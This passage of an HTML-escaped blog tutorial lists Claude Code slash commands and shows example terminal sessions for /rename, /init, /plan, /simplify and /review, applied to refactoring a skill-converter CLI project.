&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conversation Ops
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/rename&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Session persistence in Claude Code is implemented by writing JSONL files to specific folder in &lt;code&gt;~/.claude/projects&lt;/code&gt;. The assigned filename is a hash value, which makes it difficult to remember.&lt;/p&gt;

&lt;p&gt;With the &lt;code&gt;/rename&lt;/code&gt; command, you can provide a meaningful name, which is reflected in the file structure too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/rename refactor-to-python
  ⎿  Session renamed to: refactor-to-python

────────────────────────────────────────────────── refactor-to-python ──
❯
────────────────────────────────────────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The association between the custom-name and the session-hash is defined in a global session file. Take a look:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;.claude/sessions/1200.json:1:&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"pid"&lt;/span&gt;:1200,&lt;span class="s2"&gt;"sessionId"&lt;/span&gt;:&lt;span class="s2"&gt;"3a0213a0-5ef4-420c-8d11-1bda03f41a1a"&lt;/span&gt;,&lt;span class="s2"&gt;"cwd"&lt;/span&gt;:&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;,&lt;span class="s2"&gt;"startedAt"&lt;/span&gt;:1777104608328,&lt;span class="s2"&gt;"kind"&lt;/span&gt;:&lt;span class="s2"&gt;"interactive"&lt;/span&gt;,&lt;span class="s2"&gt;"entrypoint"&lt;/span&gt;:&lt;span class="s2"&gt;"cli"&lt;/span&gt;,&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"refactor-to-python"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/init&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Every LLM invocation needs context to work on tasks. Claude Codes memory architecture put the canonical &lt;code&gt;CLAUDE.md&lt;/code&gt; file as a permanent context into each session. This command reads the entire working directory, and creates this file as a summary of tis findings. When working on a coding project, it includes the tech stack, architecture, commands and more.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/init

● Write&lt;span class="o"&gt;(&lt;/span&gt;CLAUDE.md&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿ &amp;nbsp;Wrote 78 lines to CLAUDE.md
      1 &lt;span class="c"&gt;# CLAUDE.md&lt;/span&gt;
      2
      3 This file provides guidance to Claude Code &lt;span class="o"&gt;(&lt;/span&gt;claude.ai/code&lt;span class="o"&gt;)&lt;/span&gt; when working with code &lt;span class="k"&gt;in &lt;/span&gt;this reposit
        ory.
      4
      5 &lt;span class="c"&gt;## Overview&lt;/span&gt;
      6
      7 skill-convert is a CLI tool that converts skills from Anthropic&lt;span class="s1"&gt;'s skill.sh format to OpenClaw'&lt;/span&gt;s cl
        awhub format. It handles both &lt;span class="nb"&gt;local &lt;/span&gt;filesystem conversions and remote GitHub repository sources.
      8
      9 &lt;span class="c"&gt;## Common Commands&lt;/span&gt;
     … +68 lines &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

● Created CLAUDE.md at /opt/claude/universal-skill-converter/CLAUDE.md. It includes:

  - Commands: dev, build, &lt;span class="nb"&gt;test&lt;/span&gt;, typecheck, lint, format
  - Architecture: Directory tree with descriptions of each module
  - Conversion flow: 6-step process from validation to marker writing
  - Remote sources: How GitHub URLs are detected and handled
  - Error handling: Exit codes and global handlers
  - Dependencies: Key npm packages used
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/plan&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Project size, the number of files and total lines of code, influence how good specific changes are. Although the agentic loop in Claude Code evolves between releases, it is a good idea to plan complex changes a priori.&lt;/p&gt;

&lt;p&gt;This command creates a plan.md file, defining all steps, which then serves as a runbook during execution.&lt;/p&gt;

&lt;p&gt;Here is an example how a refactoring of my universal-skill-converter project from NodeJS to Python could be implemented. Upon starting, the CLI dialogue even renders questions back to the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;

● I&lt;span class="s1"&gt;'ll help you refactor this app to Python. Let me start by exploring the codebase to
  understand its structure and functionality.

● Explore(Explore main codebase structure)
  ⎿  Done (42 tool uses · 45.7k tokens · 5m 21s)
  (ctrl+o to expand)

  Searched for 3 patterns (ctrl+o to expand)

● Now I understand the codebase completely. Let me create a plan file for refactoring to
  Python.

● Updated plan
  ⎿  /plan to preview

● I have created a comprehensive refactoring plan. Let me confirm a few key design choices with
   you:
──────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────────────────────────────
←  ☒ CLI Framework  ☐ Interface  ☐ Coverage  ☐ Async I/O  ✔ Submit  →

Should I keep the same package structure and CLI command names?

❯ 1. Yes, identical
     Same commands and arguments for zero friction
  2. Custom names
     Can use better Python naming conventions
  3. Type something.
──────────────────────────────────────────────────────────────────────
  4. Chat about this
  5. Skip interview and plan immediately
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The generated plan file is stored at &lt;code&gt;.claude/plans/&lt;/code&gt;. Here is a summary description ...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Here&lt;span class="s1"&gt;'s the plan file for the Python refactoring:

  Plan Summary

  File: /home/node/.claude/plans/serene-waddling-newt.md

  Project: universal-skill-converter - Convert TypeScript CLI tool to Python

  Key Highlights:

  1. Tech Stack:
    - CLI: Click (user-selected)
    - Validation: Pydantic
    - Formatting: Rich
    - Git: GitPython
    - Testing: pytest
  2. Architecture: Modular layered design (CLI → Core → Models → UI)
  3. File Structure: 20+ Python modules organized in:
    - src/cli.py - Entry point
    - src/core/ - 12 core library modules
    - src/models/ - Pydantic models
    - src/ui/ - Output, prompts, logging
    - tests/ - Comprehensive test suite
  4. Migration Phases:
    - Phase 1: Project setup (30 min)
    - Phase 2: Core library migration (4 hours)
    - Phase 3: Main logic (1.5 hours)
    - Phase 4: CLI layer (1.5 hours)
    - Phase 5: Testing (3 hours)
    - Phase 6: Configuration (1 hour)

  Total: ~12 hours
  5. Success Criteria: &amp;gt;70% test coverage, identical CLI interface, 100% test pass rate, type checking passes

  The plan is ready for execution. Would you like me to proceed with implementation?
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;... and a peek into the first source-code lines.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;## Context&lt;/span&gt;

&lt;span class="k"&gt;**&lt;/span&gt;Project&lt;span class="k"&gt;**&lt;/span&gt;: universal-skill-converter - CLI tool &lt;span class="k"&gt;for &lt;/span&gt;converting Anthropic skill.sh format to OpenClaw clawhub format

&lt;span class="k"&gt;**&lt;/span&gt;Current State&lt;span class="k"&gt;**&lt;/span&gt;: TypeScript/Node.js application with 1,460 lines of &lt;span class="nb"&gt;source &lt;/span&gt;code, comprehensive testing, and layered architecture

&lt;span class="k"&gt;**&lt;/span&gt;Refactoring Goal&lt;span class="k"&gt;**&lt;/span&gt;: Port the entire application to Python &lt;span class="k"&gt;while &lt;/span&gt;preserving:
- All functionality &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local &lt;/span&gt;and remote conversion&lt;span class="o"&gt;)&lt;/span&gt;
- Security features &lt;span class="o"&gt;(&lt;/span&gt;safe YAML parsing, path sanitization&lt;span class="o"&gt;)&lt;/span&gt;
- Testing coverage &lt;span class="o"&gt;(&lt;/span&gt;94 tests, 100% pass rate&lt;span class="o"&gt;)&lt;/span&gt;
- Architecture patterns &lt;span class="o"&gt;(&lt;/span&gt;layered design, single responsibility&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;## Design Approach&lt;/span&gt;

&lt;span class="c"&gt;### Architecture Pattern: Modular CLI Application&lt;/span&gt;

Following a similar layered approach:
- &lt;span class="k"&gt;**&lt;/span&gt;CLI Layer&lt;span class="k"&gt;**&lt;/span&gt;: Argument parsing and &lt;span class="nb"&gt;command &lt;/span&gt;orchestration
- &lt;span class="k"&gt;**&lt;/span&gt;Core Library&lt;span class="k"&gt;**&lt;/span&gt;: Business logic modules
- &lt;span class="k"&gt;**&lt;/span&gt;Validation Layer&lt;span class="k"&gt;**&lt;/span&gt;: Input validation &lt;span class="o"&gt;(&lt;/span&gt;using pydantic&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="k"&gt;**&lt;/span&gt;UI Layer&lt;span class="k"&gt;**&lt;/span&gt;: Output formatting and user interaction
- &lt;span class="k"&gt;**&lt;/span&gt;Tests&lt;span class="k"&gt;**&lt;/span&gt;: Comprehensive &lt;span class="nb"&gt;test &lt;/span&gt;suite with pytest

&lt;span class="c"&gt;### Tech Stack Decisions&lt;/span&gt;

&lt;span class="k"&gt;**&lt;/span&gt;Core Dependencies&lt;span class="k"&gt;**&lt;/span&gt;:
- &lt;span class="sb"&gt;`&lt;/span&gt;click&lt;span class="sb"&gt;`&lt;/span&gt;: CLI framework &lt;span class="o"&gt;(&lt;/span&gt;similar to commander&lt;span class="o"&gt;)&lt;/span&gt; - User selected
- &lt;span class="sb"&gt;`&lt;/span&gt;pydantic&lt;span class="sb"&gt;`&lt;/span&gt;: Data validation and schemas &lt;span class="o"&gt;(&lt;/span&gt;similar to Zod&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="sb"&gt;`&lt;/span&gt;yaml&lt;span class="sb"&gt;`&lt;/span&gt;: YAML parsing &lt;span class="o"&gt;(&lt;/span&gt;with safe_load&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="sb"&gt;`&lt;/span&gt;rich&lt;span class="sb"&gt;`&lt;/span&gt;: Terminal formatting &lt;span class="o"&gt;(&lt;/span&gt;similar to picocolors + @clack/prompts&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="sb"&gt;`&lt;/span&gt;gitpython&lt;span class="sb"&gt;`&lt;/span&gt;: GitHub operations and repository fetching
- &lt;span class="sb"&gt;`&lt;/span&gt;jinja2&lt;span class="sb"&gt;`&lt;/span&gt;: Optional - &lt;span class="k"&gt;for &lt;/span&gt;template handling &lt;span class="k"&gt;if &lt;/span&gt;needed

...

&lt;span class="c"&gt;## Migration Steps&lt;/span&gt;

&lt;span class="c"&gt;### Phase 1: Project Setup&lt;/span&gt;
1. Create Python project structure
2. Set up pyproject.toml
3. Install dependencies
4. Create basic project skeleton

&lt;span class="c"&gt;### Phase 2: Core Library Migration&lt;/span&gt;
1. &lt;span class="sb"&gt;`&lt;/span&gt;errors.py&lt;span class="sb"&gt;`&lt;/span&gt; - Custom exception classes
2. &lt;span class="sb"&gt;`&lt;/span&gt;path_validator.py&lt;span class="sb"&gt;`&lt;/span&gt; - Path validation
3. &lt;span class="sb"&gt;`&lt;/span&gt;slug.py&lt;span class="sb"&gt;`&lt;/span&gt; - Slug generation
4. &lt;span class="sb"&gt;`&lt;/span&gt;yaml_handler.py&lt;span class="sb"&gt;`&lt;/span&gt; - YAML parsing/writing
5. &lt;span class="sb"&gt;`&lt;/span&gt;filesystem.py&lt;span class="sb"&gt;`&lt;/span&gt; - File system operations
6. &lt;span class="sb"&gt;`&lt;/span&gt;validator.py&lt;span class="sb"&gt;`&lt;/span&gt; - Input validation
7. &lt;span class="sb"&gt;`&lt;/span&gt;transformer.py&lt;span class="sb"&gt;`&lt;/span&gt; - Frontmatter transformation
8. &lt;span class="sb"&gt;`&lt;/span&gt;migrator.py&lt;span class="sb"&gt;`&lt;/span&gt; - File migration
9. &lt;span class="sb"&gt;`&lt;/span&gt;metadata.py&lt;span class="sb"&gt;`&lt;/span&gt; - Metadata generation
10. &lt;span class="sb"&gt;`&lt;/span&gt;marker.py&lt;span class="sb"&gt;`&lt;/span&gt; - Conversion tracking
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/simplify&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command is more akin to a skill. It will launch subagents that check different aspects of the code, like duplication or efficiency, converge on all findings, and start implementing them right away.&lt;/p&gt;

&lt;p&gt;Here is an example run.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;I&lt;span class="s1"&gt;'ll help you simplify the code. Let me first check for changes and then launch the three review agents.

...

● I'&lt;/span&gt;ll launch three review agents to analyze the codebase &lt;span class="k"&gt;for &lt;/span&gt;potential improvements across reuse, quality, and efficiency dimensions.

  Running 3 Explore agents… &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
   ├─ Code reuse review · 1 tool use · 13.8k tokens
   │  ⎿  Read: src/
   ├─ Code quality review · 3 tool uses · 14.6k tokens
   │  ⎿  Searching &lt;span class="k"&gt;for &lt;/span&gt;1 pattern, reading 2 files…
   └─ Efficiency review · 0 tool uses
      ⎿  Initializing…
     &lt;span class="o"&gt;(&lt;/span&gt;ctrl+b to run &lt;span class="k"&gt;in &lt;/span&gt;background&lt;span class="o"&gt;)&lt;/span&gt;
...

● Now I&lt;span class="s1"&gt;'ll aggregate the findings from all three agents and implement the fixes:

...

● Let me start by implementing the high-priority fixes:

  1. First, let'&lt;/span&gt;s create utility functions to reduce code duplication:

● Write&lt;span class="o"&gt;(&lt;/span&gt;src/lib/utils.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Wrote 76 lines to src/lib/utils.ts
       1 import &lt;span class="o"&gt;{&lt;/span&gt; promises as fs &lt;span class="o"&gt;}&lt;/span&gt; from &lt;span class="s1"&gt;'fs'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       2 import &lt;span class="o"&gt;{&lt;/span&gt; fileExists, directoryExists &lt;span class="o"&gt;}&lt;/span&gt; from &lt;span class="s1"&gt;'./fs.js'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       3
       4 // JSON file utilities
       5 &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;readJsonFile&amp;lt;T&amp;gt;&lt;span class="o"&gt;(&lt;/span&gt;path: string&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;T&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
       6   const content &lt;span class="o"&gt;=&lt;/span&gt; await fs.readFile&lt;span class="o"&gt;(&lt;/span&gt;path, &lt;span class="s1"&gt;'utf-8'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       7   &lt;span class="k"&gt;return &lt;/span&gt;JSON.parse&lt;span class="o"&gt;(&lt;/span&gt;content&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       8 &lt;span class="o"&gt;}&lt;/span&gt;
       9
      10 &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;writeJsonFile&amp;lt;T&amp;gt;&lt;span class="o"&gt;(&lt;/span&gt;path: string, data: T&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;void&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
     … +66 lines &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

...
● The code has been simplified with these key improvements:

  1. Added utility functions &lt;span class="k"&gt;in &lt;/span&gt;src/lib/utils.ts to reduce code duplication
  2. Optimized conversion process with parallel execution using Promise.all
  3. Added filesystem caching to reduce redundant &lt;span class="nb"&gt;stat &lt;/span&gt;calls
  4. Removed unnecessary existence checks &lt;span class="o"&gt;(&lt;/span&gt;TOCTOU anti-patterns&lt;span class="o"&gt;)&lt;/span&gt;
  5. Improved error handling with try-catch blocks
  6. Reduced stringly-typed code with utility functions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/review&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When working on a branch with new features, it is advised to check its impact on the project. Two different operations are possible&lt;/p&gt;

&lt;p&gt;If the current branch does not have any comments from its origin, this command launches general code-quality agents, checking the current source code, and identifying potential changes. Here is an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Overview

  This commit implements significant code quality and performance improvements across the universal-skill-converter project. The changes focus on reducing code
  duplication, optimizing performance with parallel execution, improving error handling, and maintaining clean code standards.

  Analysis

  ✅ Strengths

  1. Performance Optimization
    - Excellent use of Promise.all&lt;span class="o"&gt;()&lt;/span&gt; to execute steps 5-9 &lt;span class="k"&gt;in &lt;/span&gt;parallel instead of sequentially
    - Added filesystem caching with TTL to reduce redundant &lt;span class="nb"&gt;stat &lt;/span&gt;calls
    - Batched file existence checks with Promise.all&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;validator.ts
  2. Code Quality Improvements
    - Created a comprehensive utils.ts module with reusable utilities
    - Reduced code duplication significantly &lt;span class="o"&gt;(&lt;/span&gt;164 additions vs 61 deletions&lt;span class="o"&gt;)&lt;/span&gt;
    - Better error handling with try-catch blocks instead of manual existence checks
  3. Best Practices
    - Eliminated TOCTOU &lt;span class="o"&gt;(&lt;/span&gt;Time-of-Check-to-Time-of-Use&lt;span class="o"&gt;)&lt;/span&gt; anti-patterns
    - Used proper path construction utilities instead of string concatenation
    - Improved error handling consistency across modules

  ⚠️  Potential Issues

  1. Memory Concerns with Cache
  const statCache &lt;span class="o"&gt;=&lt;/span&gt; new Map&amp;lt;string, &lt;span class="o"&gt;{&lt;/span&gt; exists: boolean&lt;span class="p"&gt;;&lt;/span&gt; isDirectory?: boolean&lt;span class="p"&gt;;&lt;/span&gt; timestamp: number &lt;span class="o"&gt;}&amp;gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    - The cache could grow unbounded &lt;span class="k"&gt;if &lt;/span&gt;many different paths are checked
    - Suggestion: Add a max cache size or LRU eviction policy
  2. Cache TTL Hardcoding
  const CACHE_TTL &lt;span class="o"&gt;=&lt;/span&gt; 5000&lt;span class="p"&gt;;&lt;/span&gt; // 5 seconds
    - The 5-second TTL might not be optimal &lt;span class="k"&gt;for &lt;/span&gt;all use cases
    - Suggestion: Make this configurable via environment variable
  3. Error Handling &lt;span class="k"&gt;in &lt;/span&gt;Parallel Operations
    - The parallel Promise.all&lt;span class="o"&gt;()&lt;/span&gt; will fail &lt;span class="k"&gt;if &lt;/span&gt;any single operation fails
    - Suggestion: Consider using Promise.allSettled&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;better error isolation
  4. Missing Cleanup &lt;span class="k"&gt;in &lt;/span&gt;Cache
    - clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt; is called on every &lt;span class="nb"&gt;stat &lt;/span&gt;but doesn&lt;span class="s1"&gt;'t clean the cache efficiently
    - Suggestion: Run cleanup periodically instead of on every call

  🔧 Specific Improvements

  1. Filesystem Module (fs.ts)
    - Good caching implementation, but could be more memory-efficient
    - Consider adding error types for better error handling
  2. Utils Module (utils.ts)
    - Well-organized utilities, but some functions might be overly specific
    - cleanString() and removeExtension() could be more generic
  3. Marker Module (marker.ts)
    - Excellent error handling improvements
    - The try-catch approach is much cleaner than manual existence checks
  4. Validator Module (validator.ts)
    - Good optimization with Promise.all() for file checks
    - However, the cache might cause stale reads if files are modified during validation

  Security Considerations

  - ✅ No security vulnerabilities introduced
  - ✅ Proper error handling doesn'&lt;/span&gt;t leak sensitive information
  - ✅ Safe YAML parsing already implemented &lt;span class="k"&gt;in &lt;/span&gt;previous commits

  Testing Coverage

  - No changes to &lt;span class="nb"&gt;test &lt;/span&gt;files &lt;span class="k"&gt;in &lt;/span&gt;this commit
  - Suggestion: Add unit tests &lt;span class="k"&gt;for &lt;/span&gt;the new utility functions
  - Suggestion: Test cache behavior with edge cases

  Overall Assessment

  This is a well-executed refactoring that significantly improves code quality and performance. The changes follow TypeScript best practices and maintain backward
  compatibility. The only areas needing attention are memory management &lt;span class="k"&gt;in &lt;/span&gt;the cache and potential error isolation &lt;span class="k"&gt;in &lt;/span&gt;parallel operations.

  Recommendation: Merge with minor consideration &lt;span class="k"&gt;for &lt;/span&gt;the suggested improvements.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And If the current branch does not have comments from its origin, it can also access and process them, updating the code to comply. For this, the &lt;code&gt;gh&lt;/code&gt; binary needs to be installed.&lt;/p&gt;

&lt;p&gt;Here is an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;I&lt;span class="s1"&gt;'ll run gh pr list to see the open PRs and then review them.

● Bash(gh pr list)
  ⎿  12 refactor: improve utility functions to be more generic  feature/optimizations   OPEN    2026-04-25T09:15:26Z

● Now I'&lt;/span&gt;ll review PR &lt;span class="c"&gt;#12.&lt;/span&gt;

● Let me check &lt;span class="k"&gt;if &lt;/span&gt;there are review comments specifically.

● Bash&lt;span class="o"&gt;(&lt;/span&gt;gh api repos/admantium-sg/universal-skill-converter/pulls/12/comments&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  &lt;span class="o"&gt;[&lt;/span&gt;
       &lt;span class="o"&gt;{&lt;/span&gt;
         &lt;span class="s2"&gt;"url"&lt;/span&gt;: &lt;span class="s2"&gt;"https://api.github.com/repos/admantium-sg/universal-skill-converter/pulls/comments/3141750050"&lt;/span&gt;,
     … +62 lines &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

● Perfect! I can see your comments now. You have three specific feedback points:

  1. &lt;span class="s2"&gt;"Increase to 10s."&lt;/span&gt; - About the cache TTL &lt;span class="k"&gt;in &lt;/span&gt;fs.ts
  2. &lt;span class="s2"&gt;"Can you unchain these exit codes?"&lt;/span&gt; - About the chained operations &lt;span class="k"&gt;in &lt;/span&gt;fs.ts
  3. &lt;span class="s2"&gt;"Do not add comments about steps."&lt;/span&gt; - About removing step comments &lt;span class="k"&gt;in &lt;/span&gt;converter.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And it will then address these changes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Now &lt;span class="nb"&gt;let &lt;/span&gt;me address your feedback:

  1. First, increase the cache TTL to 10 seconds:

● Update&lt;span class="o"&gt;(&lt;/span&gt;src/lib/fs.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Added 1 line, removed 1 line
      3
